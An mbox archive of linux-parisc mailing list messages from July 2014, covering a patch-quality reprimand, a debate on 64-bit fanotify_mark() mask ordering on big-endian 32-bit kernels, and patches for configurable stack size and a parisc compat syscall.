In-Reply-To: <20140707135554.1c52342c@alan.etchedpixels.co.uk>
User-Agent: Alpine 2.00 (LNX 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5914 gmane.linux.kernel:1740327
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5914>

On Mon, 7 Jul 2014, One Thousand Gnomes wrote:

> > This removes the sizeof(frame) from the call to get_sigframe on line
> > 243 in order to fix the call to this function as the sizeof in not
> > needed to call this function.
> 
> If you are going to submit patches then
> 
> - actually read what you are submitting
> 
> - check it actually compiles
> 
> - run it on the system in question and verify your changed code paths are
>   used
> 
> *then* consider submitting it, otherwise all you are doing is wasting
> people's time.

Seconded. Nicholas, this is a third time I've seen patch from you in my 
mailbox that didn't make any sense whatsoever. Please be more careful, 
once certain reputation is gained, it's very difficult to escape it.

-- 
Jiri Kosina
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Helge Deller" <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Aw: Re: [PATCH] fix fanotify_mark() breakage on big endian 32bit
 kernel
Date: Mon, 7 Jul 2014 15:54:37 +0200
Lines: 177
Approved: news@gmane.org
Message-ID: <trinity-8380f6e4-393a-40f8-ba95-3ab03baa85b7-1404741277414@3capp-gmx-bs54>
References: <20140704151235.GA22454@ls3530.dhcp.wdf.sap.corp>,
 <20140706091530.GA3589@osiris>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1404741294 22232 80.91.229.3 (7 Jul 2014 13:54:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Jul 2014 13:54:54 +0000 (UTC)
Cc: "Eric Paris" <eparis@redhat.com>,
	"Linux Kernel" <linux-kernel@vger.kernel.org>,
	"Heinrich Schuchardt" <xypron.glpk@gmx.de>,
	linux-parisc@vger.kernel.org,
	"James Bottomley" <James.Bottomley@HansenPartnership.com>,
	"Dave Anglin" <dave.anglin@bell.net>
To: "Heiko Carstens" <heiko.carstens@de.ibm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 07 15:54:46 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X49NS-0007vz-GI
	for glpp-linux-parisc@plane.gmane.org; Mon, 07 Jul 2014 15:54:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752857AbaGGNym (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Jul 2014 09:54:42 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:63711 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752563AbaGGNyk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Jul 2014 09:54:40 -0400
Original-Received: from [155.56.68.217] by 3capp-gmx-bs54.server.lan (via HTTP); Mon,
 7 Jul 2014 15:54:37 +0200
Importance: normal
Sensitivity: Normal
In-Reply-To: <20140706091530.GA3589@osiris>
X-UI-Message-Type: mail
X-Priority: 3
X-Provags-ID: V03:K0:vjrAtmYiruBZXjAtBW6PZpj0hhFiIfTRlS+q0zswNFn
 VepxjNEgNQtgaz4ZBQrUvH008/Xtc8+nM4W9TKSuCS9p5dYRkC
 RjvB5M2vocy3zUYuX6cHu31hskrEO4eumKKTSQ21Te2Z20K/XM
 Q7vSQx423447lUz4il6RIliFufiGyXf1HgzCXXsWRo5LHRyCmr
 kjcNHRoTn0wborUBRCiThEnv8IYXo1X2AOd8nX8MqgyMYaD0jv
 MnhQq+ZmpDNB3IuaF1I8q4gMz2GKk4r3sSwnrs4ufHCQr1tIT5 2BYf/c=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5915 gmane.linux.kernel:1740357
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5915>

Hi Heiko,

> On Fri, Jul 04, 2014 at 05:12:35PM +0200, Helge Deller wrote:
> > This patch affects big endian architectures only.
> > 
> > On those with 32bit userspace and 64bit kernel (CONFIG_COMPAT=y) the
> > 64bit mask parameter is correctly constructed out of two 32bit values in
> > the compat_fanotify_mark() function and then passed as 64bit parameter
> > to the fanotify_mark() syscall.
> > 
> > But for the CONFIG_COMPAT=n case (32bit kernel & userspace),
> > compat_fanotify_mark() isn't used and the fanotify_mark syscall implementation
> > is used directly. In that case the upper and lower 32 bits of the 64bit mask
> > parameter is still swapped on big endian machines and thus leads to
> > fanotify_mark failing with -EINVAL.
> 
> Why do you think upper and lower 32 bits are swapped on big endian machines?

I assumed it, because I see this behaviour on parisc, and because of this commit
from you regarding the compat-case. I do recognize, that in this patch the u64 value
is constructed out of the two 32bit values to hand it over. So, this patch is OK.

commit 592f6b842f64e416c7598a1b97c649b34241e22d
Author: Heiko Carstens <heiko.carstens@de.ibm.com>
Date:   Mon Jan 27 17:07:19 2014 -0800

    compat: fix sys_fanotify_mark
    
    Commit 91c2e0bcae72 ("unify compat fanotify_mark(2), switch to
    COMPAT_SYSCALL_DEFINE") added a new unified compat fanotify_mark syscall
    to be used by all architectures.
    
    Unfortunately the unified version merges the split mask parameter in a
    wrong way: the lower and higher word got swapped.
    
    This was discovered with glibc's tst-fanotify test case.


> > Here is a strace of the same 32bit executable (fanotify01 testcase from LTP):
> > 
> > On a 64bit kernel it suceeds:
> > syscall_322(0, 0, 0x3, 0x3, 0x266c8, 0x1) = 0x3
> > syscall_323(0x3, 0x1, 0, 0x3b, 0xffffff9c, 0x266c8) = 0
> > 
> > On a 32bit kernel it fails:
> > syscall_322(0, 0, 0x3, 0x3, 0x266c8, 0x1) = 0x3
> > syscall_323(0x3, 0x1, 0, 0x3b, 0xffffff9c, 0x266c8) = -1 (errno 22)
> 
> So "0" and "0x3b" together should be the 64 bit "0x3b" mask, this looks just
> fine.
> 
> > diff --git a/fs/notify/fanotify/fanotify_user.c b/fs/notify/fanotify/fanotify_user.c
> > index 3fdc8a3..374261c 100644
> > --- a/fs/notify/fanotify/fanotify_user.c
> > +++ b/fs/notify/fanotify/fanotify_user.c
> > @@ -787,6 +787,10 @@ SYSCALL_DEFINE5(fanotify_mark, int, fanotify_fd, unsigned int, flags,
> >  	struct path path;
> >  	int ret;
> > 
> > +#if defined(__BIG_ENDIAN) && !defined(CONFIG_64BIT)
> > +	mask = (mask << 32) | (mask >> 32);
> > +#endif
> > +
> >  	pr_debug("%s: fanotify_fd=%d flags=%x dfd=%d pathname=%p mask=%llx\n",
> >  		 __func__, fanotify_fd, flags, dfd, pathname, mask);
> 
> Did you activate this pr_debug()? I'm really wondering what the output looks
> like on your machine.

Just tested it.
On 3.16.0-rc4-32bit (without my patch)
syscall_323(0x3, 0x1, 0, 0x3b, 0xffffff9c, 0x266c8) = -1 (errno 22)
gives:
SYSC_fanotify_mark: fanotify_fd=3 flags=1 dfd=-100 pathname=000266c8 mask=3b00000000

and on 3.16.0-rc4-32bit+ (*with* my patch, same executable file):
syscall_323(0x3, 0x1, 0, 0x3b, 0xffffff9c, 0x266c8) = 0
gives:
SYSC_fanotify_mark: fanotify_fd=3 flags=1 dfd=-100 pathname=000266c8 mask=3b

So, my patch works as expected.

The Linux Test Project (LTP) uses in testcases/kernel/syscalls/fanotify/fanotify.h this coding, which is IMHO 
correct as it would break your commit 592f6b842f64e416c7598a1b97c649b34241e22d otherwise:
long myfanotify_mark(int fd, unsigned int flags, uint64_t mask,
                     int dfd, const char *pathname)
{
#if LTP_USE_64_ABI
        return ltp_syscall(__NR_fanotify_mark, fd, flags, mask, dfd, pathname);
#else
        return ltp_syscall(__NR_fanotify_mark, fd, flags,
                         __LONG_LONG_PAIR((unsigned long) (mask >> 32),
                                          (unsigned long) mask),
                         dfd, (unsigned long) pathname);
#endif
}

with __LONG_LONG_PAIR() defined in /usr/include/endian.h:
#if __BYTE_ORDER == __LITTLE_ENDIAN
# define __LONG_LONG_PAIR(HI, LO) LO, HI
#elif __BYTE_ORDER == __BIG_ENDIAN
# define __LONG_LONG_PAIR(HI, LO) HI, LO
#endif

and in glibc sysdeps/unix/sysv/linux/sys/fanotify.h I see:
extern int fanotify_mark (int __fanotify_fd, unsigned int __flags, uint64_t __mask, int __dfd, const char *__pathname);
with
sysdeps/unix/sysv/linux/s390/s390-32/syscalls.list:fanotify_mark        EXTRA   fanotify_mark   i:iiiiis        fanotify_mark


> At least an s390 the C ABI defines that 64 bit values are split into an
> even odd register pair, where the most significant bits are in the even numbered
> register.

and Dave wrote for hppa:
> In GCC, we typically have an odd even register pair to hold 64-bit
> values as register r0 is not usable.

This seems different.

> So for sys_fanotify_mark everything is fine on s390, and probably most other
> architectures as well. Having a 64 bit syscall parameter indeed does work,
> if all the architecture specific details have been correctly considered.

I think this is the problem!
For parisc the architecture specifc details have not been considered correctly.
I tried this test:

static int low32, high32;
SYSCALL_DEFINE5(fanotify_mark_test, int, fanotify_fd, unsigned int, flags,
                   __u64, mask, int, dfd, const char  __user *, pathname)
{
        low32 = (int) mask;
        high32 = (int) (mask >> 32);
}

and got:

        .section        .text.SyS_fanotify_mark_test,"ax",@progbits
        .align 4
.globl SyS_fanotify_mark_test
        .type   SyS_fanotify_mark_test, @function
SyS_fanotify_mark_test:
        .PROC
        .CALLINFO FRAME=64,NO_CALLS,SAVE_SP,ENTRY_GR=3
        .ENTRY
        copy %r3,%r1
        copy %r30,%r3
        stwm %r1,64(%r30)
        addil LR'low32-$global$,%r27
        ldi 0,%r28
        stw %r24,RR'low32-$global$(%r1)
        addil LR'high32-$global$,%r27
        stw %r23,RR'high32-$global$(%r1)
        ldo 64(%r3),%r30
        bv %r0(%r2)
        ldwm -64(%r30),%r3
        .EXIT
        .PROCEND

So on hppa r26 is fanotify_fd, %r25 is flags, %r24/%r23 is lower/higher 32bits of mask.
For the mask parameter this is different to what the __LONG_LONG_PAIR() marcro
would hand over to the syscall (which would be %r24/%r23 as higher/lower 32bits).

So, the problem is the usage of __u64 in the 32bit API. It has to be handled architecture-specific.
It seems to work for little-endian machines, and probably (by luck?!?) for s390, but I'm not sure if
it maybe breaks (like on parisc) on other arches, e.g. what about sparc?

For parisc I can work around that problem in the architecture-specifc coding, but I still
think using __64 here is wrong and just may lead to such bugs.

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Heiko Carstens <heiko.carstens@de.ibm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Re: [PATCH] fix fanotify_mark() breakage on big endian 32bit
 kernel
Date: Mon, 7 Jul 2014 17:28:09 +0200
Lines: 40
Approved: news@gmane.org
Message-ID: <20140707152809.GA6373@osiris>
References: <20140704151235.GA22454@ls3530.dhcp.wdf.sap.corp>
 <20140706091530.GA3589@osiris>
 <trinity-8380f6e4-393a-40f8-ba95-3ab03baa85b7-1404741277414@3capp-gmx-bs54>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1404746907 31297 80.91.229.3 (7 Jul 2014 15:28:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 7 Jul 2014 15:28:27 +0000 (UTC)
Cc: Eric Paris <eparis@redhat.com>,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	Heinrich Schuchardt <xypron.glpk@gmx.de>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Dave Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jul 07 17:28:20 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X4Aq1-0001D4-RI
	for glpp-linux-parisc@plane.gmane.org; Mon, 07 Jul 2014 17:28:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753007AbaGGP2Q (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 7 Jul 2014 11:28:16 -0400
Original-Received: from e06smtp16.uk.ibm.com ([195.75.94.112]:49715 "EHLO
	e06smtp16.uk.ibm.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751752AbaGGP2P (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 7 Jul 2014 11:28:15 -0400
Original-Received: from /spool/local
	by e06smtp16.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted
	for <linux-parisc@vger.kernel.org> from <heiko.carstens@de.ibm.com>;
	Mon, 7 Jul 2014 16:28:14 +0100
Original-Received: from d06dlp02.portsmouth.uk.ibm.com (9.149.20.14)
	by e06smtp16.uk.ibm.com (192.168.101.146) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted;
	Mon, 7 Jul 2014 16:28:12 +0100
Original-Received: from b06cxnps4075.portsmouth.uk.ibm.com (d06relay12.portsmouth.uk.ibm.com [9.149.109.197])
	by d06dlp02.portsmouth.uk.ibm.com (Postfix) with ESMTP id D9DCC2190041;
	Mon,  7 Jul 2014 16:27:58 +0100 (BST)
Original-Received: from d06av03.portsmouth.uk.ibm.com (d06av03.portsmouth.uk.ibm.com [9.149.37.213])
	by b06cxnps4075.portsmouth.uk.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id s67FSC9C27459700;
	Mon, 7 Jul 2014 15:28:12 GMT
Original-Received: from d06av03.portsmouth.uk.ibm.com (localhost [127.0.0.1])
	by d06av03.portsmouth.uk.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id s67FSAms012254;
	Mon, 7 Jul 2014 09:28:11 -0600
Original-Received: from localhost (dyn-9-152-212-49.boeblingen.de.ibm.com [9.152.212.49])
	by d06av03.portsmouth.uk.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id s67FS9Nh012240;
	Mon, 7 Jul 2014 09:28:09 -0600
Content-Disposition: inline
In-Reply-To: <trinity-8380f6e4-393a-40f8-ba95-3ab03baa85b7-1404741277414@3capp-gmx-bs54>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-TM-AS-MML: disable
X-Content-Scanned: Fidelis XPS MAILER
x-cbid: 14070715-3548-0000-0000-0000006D0CE6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5916 gmane.linux.kernel:1740480
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5916>

On Mon, Jul 07, 2014 at 03:54:37PM +0200, Helge Deller wrote:
> Hi Heiko,
> > So for sys_fanotify_mark everything is fine on s390, and probably most other
> > architectures as well. Having a 64 bit syscall parameter indeed does work,
> > if all the architecture specific details have been correctly considered.
> 
> I think this is the problem!
[...]
> So on hppa r26 is fanotify_fd, %r25 is flags, %r24/%r23 is lower/higher 32bits of mask.
> For the mask parameter this is different to what the __LONG_LONG_PAIR() marcro
> would hand over to the syscall (which would be %r24/%r23 as higher/lower 32bits).
> 
> So, the problem is the usage of __u64 in the 32bit API. It has to be handled architecture-specific.
> It seems to work for little-endian machines, and probably (by luck?!?) for s390, but I'm not sure if
> it maybe breaks (like on parisc) on other arches, e.g. what about sparc?

No, it's not luck that it works on s390. Whenever we add a new entry to
our system call table, we make sure that 64 bit parameters, if present,
work on s390.
Otherwise we add s390 specific system calls like e.g. sys_s390_fallocate.

> For parisc I can work around that problem in the architecture-specifc coding, but I still
> think using __64 here is wrong and just may lead to such bugs.

There have always been problems with 64 bit system call parameters on 32 bit
architectures. See for example this thread:
http://oss.sgi.com/archives/xfs/2007-03/msg00557.html

David Woodhouse wrote summed up the system call ABI of a couple of
architectures a couple of years ago:
http://marc.info/?l=linux-arch&m=118277150812137&w=2

And there was also a system call howto from Ulrich Drepper:
http://copilotco.com/mail-archives/linux-kernel.2007/msg27844.html

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: [STABLE][PATCH] parisc,metag: Do not hardcode maximum userspace
 stack size
Date: Wed, 9 Jul 2014 21:57:59 +0200
Lines: 118
Approved: news@gmane.org
Message-ID: <20140709195759.GA2765@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1404935900 19767 80.91.229.3 (9 Jul 2014 19:58:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 9 Jul 2014 19:58:20 +0000 (UTC)
Cc: James Hogan <james.hogan@imgtec.com>, linux-parisc@vger.kernel.org
To: stable@vger.kernel.org, gregkh@linuxfoundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 09 21:58:09 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X4y0G-0001MQ-Nj
	for glpp-linux-parisc@plane.gmane.org; Wed, 09 Jul 2014 21:58:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756185AbaGIT6H (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 9 Jul 2014 15:58:07 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:56584 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755906AbaGIT6G (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 9 Jul 2014 15:58:06 -0400
Original-Received: from ls3530.box ([84.173.1.227]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0LoEwL-1WOjQm2fnd-00gGih; Wed, 09 Jul 2014 21:58:01
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:WWfswK2BTRsBCpRJiwmv1AAciXMSBj5WBOPOvor2c9buiYJbyVE
 iegcFNcVelf0eEelzc+4P1vpCCKbDm4n4wOWjJBQiAr6E8kcCJmKq8f2jeh6JcmPASJpU83
 Z86EEkJ5+axTVYNSwaHahLcIDPO6wgfkKegbPN6gaZd+uephs6kMEu26p0Xc644Wnv2BzBo
 FXUfZVCf/RdAVTnsGFUXw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5917 gmane.linux.kernel.stable:99097
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5917>

Dear stable kernel team,

Can you please consider adding this patch to stable kernel 3.14 ?

It's upstream commit 042d27acb64924a0e8a43e972485913a32407beb with a minor
trivial cleanup in mm/Kconfig so that it applies cleanly to 3.14.

Without this patch, we always use 1 GB stack on hppa which hurts us on 32bit
userspace. This patch changes it to use 80 MB by default on hppa and metag.

Thanks,
Helge


Author: Helge Deller <deller@gmx.de>
Date:   Wed Apr 30 23:26:02 2014 +0200

parisc,metag: Do not hardcode maximum userspace stack size

(based on upstream commit 042d27acb64924a0e8a43e972485913a32407beb)

This patch affects only architectures where the stack grows upwards
(currently parisc and metag only). On those do not hardcode the maximum
initial stack size to 1GB for 32-bit processes, but make it configurable
via a config option.

The main problem with the hardcoded stack size is, that we have two
memory regions which grow upwards: stack and heap. To keep most of the
memory available for heap in a flexmap memory layout, it makes no sense
to hard allocate up to 1GB of the memory for stack which can't be used
as heap then.

This patch makes the stack size for 32-bit processes configurable and
uses 80MB as default value which has been in use during the last few
years on parisc and which hasn't showed any problems yet.

Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: James Hogan <james.hogan@imgtec.com>
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: linux-parisc@vger.kernel.org
Cc: linux-metag@vger.kernel.org
Cc: John David Anglin <dave.anglin@bell.net>

diff --git a/arch/metag/include/asm/processor.h b/arch/metag/include/asm/processor.h
index 3be8581..a8a3747 100644
--- a/arch/metag/include/asm/processor.h
+++ b/arch/metag/include/asm/processor.h
@@ -23,7 +23,7 @@
 #define STACK_TOP	(TASK_SIZE - PAGE_SIZE)
 #define STACK_TOP_MAX	STACK_TOP
 /* Maximum virtual space for stack */
-#define STACK_SIZE_MAX	(1 << 28)	/* 256 MB */
+#define STACK_SIZE_MAX	(CONFIG_MAX_STACK_SIZE_MB*1024*1024)
 
 /* This decides where the kernel will search for a free chunk of vm
  * space during mmap's.
diff --git a/arch/parisc/include/asm/processor.h b/arch/parisc/include/asm/processor.h
index 86522ef..d951c96 100644
--- a/arch/parisc/include/asm/processor.h
+++ b/arch/parisc/include/asm/processor.h
@@ -55,7 +55,10 @@
 #define STACK_TOP	TASK_SIZE
 #define STACK_TOP_MAX	DEFAULT_TASK_SIZE
 
-#define STACK_SIZE_MAX	(1 << 30)	/* 1 GB */
+/* Allow bigger stacks for 64-bit processes */
+#define STACK_SIZE_MAX	(USER_WIDE_MODE					\
+			 ? (1 << 30)	/* 1 GB */			\
+			 : (CONFIG_MAX_STACK_SIZE_MB*1024*1024))
 
 #endif
 
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index 31ffa9b..e1ffea2 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -72,10 +72,10 @@ static unsigned long mmap_upper_limit(void)
 {
 	unsigned long stack_base;
 
-	/* Limit stack size to 1GB - see setup_arg_pages() in fs/exec.c */
+	/* Limit stack size - see setup_arg_pages() in fs/exec.c */
 	stack_base = rlimit_max(RLIMIT_STACK);
-	if (stack_base > (1 << 30))
-		stack_base = 1 << 30;
+	if (stack_base > STACK_SIZE_MAX)
+		stack_base = STACK_SIZE_MAX;
 
 	return PAGE_ALIGN(STACK_TOP - stack_base);
 }
diff --git a/mm/Kconfig b/mm/Kconfig
index 9b63c15..0862816 100644
--- a/mm/Kconfig
+++ b/mm/Kconfig
@@ -580,3 +580,18 @@ config PGTABLE_MAPPING
 
 	  You can check speed with zsmalloc benchmark:
 	  https://github.com/spartacus06/zsmapbench
+
+config MAX_STACK_SIZE_MB
+	int "Maximum user stack size for 32-bit processes (MB)"
+	default 80
+	range 8 256 if METAG
+	range 8 2048
+	depends on STACK_GROWSUP && (!64BIT || COMPAT)
+	help
+	  This is the maximum stack size in Megabytes in the VM layout of 32-bit
+	  user processes when the stack grows upwards (currently only on parisc
+	  and metag arch). The stack will be located at the highest memory
+	  address minus the given value, unless the RLIMIT_STACK hard limit is
+	  changed to a smaller value in which case that is used.
+
+	  A sane initial value is 80 MB.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix fanotify_mark() syscall on 32bit compat kernel
Date: Thu, 10 Jul 2014 18:07:17 +0200
Lines: 50
Approved: news@gmane.org
Message-ID: <20140710160717.GA14169@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1405008457 12536 80.91.229.3 (10 Jul 2014 16:07:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 10 Jul 2014 16:07:37 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jul 10 18:07:30 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1X5Gsa-0002d7-6C
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 Jul 2014 18:07:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751225AbaGJQH1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 Jul 2014 12:07:27 -0400
Original-Received: from mout.gmx.net ([212.227.15.19]:60422 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751119AbaGJQH0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 Jul 2014 12:07:26 -0400
Original-Received: from ls3530.dhcp.wdf.sap.corp ([155.56.40.73]) by mail.gmx.com
 (mrgmx003) with ESMTPSA (Nemesis) id 0LfSyv-1WGklK15mD-00p7zo; Thu, 10 Jul
 2014 18:07:19 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:YLk7swKb2facCi5/halRojBfpXVyL+Xazq/OjjYva8WW42p3J2e
 0QUyB1itbwPdujdnm1/otMwwgnO/ej7m5bYqm5tS/OCC9e1wlAWUWu1hIWseenbKlTmltY7
 IYTVTBCE0qLs9fm9Aty2qA/pVOLECN7LAw+DPO5iBvgcA+fSTv1M7VlDJS6b95tYAHnkVUu
 B565rxQlYYBReAhPY/50w==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5918
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5918>

On parisc we can not use the existing compat implementation for fanotify_mark()
because for the 64bit mask parameter the higher and lower 32bits are ordered
differently than what the compat function expects from big endian
architectures.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index bb9f3b6..93c1963 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -4,6 +4,7 @@
  * Copyright (C) 2000-2001 Hewlett Packard Company
  * Copyright (C) 2000 John Marvin
  * Copyright (C) 2001 Matthew Wilcox
+ * Copyright (C) 2014 Helge Deller <deller@gmx.de>
  *
  * These routines maintain argument size conversion between 32bit and 64bit
  * environment. Based heavily on sys_ia32.c and sys_sparc32.c.
@@ -57,3 +22,12 @@ asmlinkage long sys32_unimplemented(int r26, int r25, int r24, int r23,
     	current->comm, current->pid, r20);
     return -ENOSYS;
 }
+
+asmlinkage long sys32_fanotify_mark(compat_int_t fanotify_fd, compat_uint_t flags,
+	compat_uint_t mask0, compat_uint_t mask1, compat_int_t dfd,
+	const char  __user * pathname)
+{
+	return sys_fanotify_mark(fanotify_fd, flags,
+			((__u64)mask1 << 32) | mask0,
+			 dfd, pathname);
+}
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index c5fa7a6..84c5d3a 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -418,7 +418,7 @@
 	ENTRY_SAME(accept4)		/* 320 */
 	ENTRY_SAME(prlimit64)
 	ENTRY_SAME(fanotify_init)
-	ENTRY_COMP(fanotify_mark)
+	ENTRY_DIFF(fanotify_mark)
 	ENTRY_COMP(clock_adjtime)
 	ENTRY_SAME(name_to_handle_at)	/* 325 */
 	ENTRY_COMP(open_by_handle_at)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:30 2018
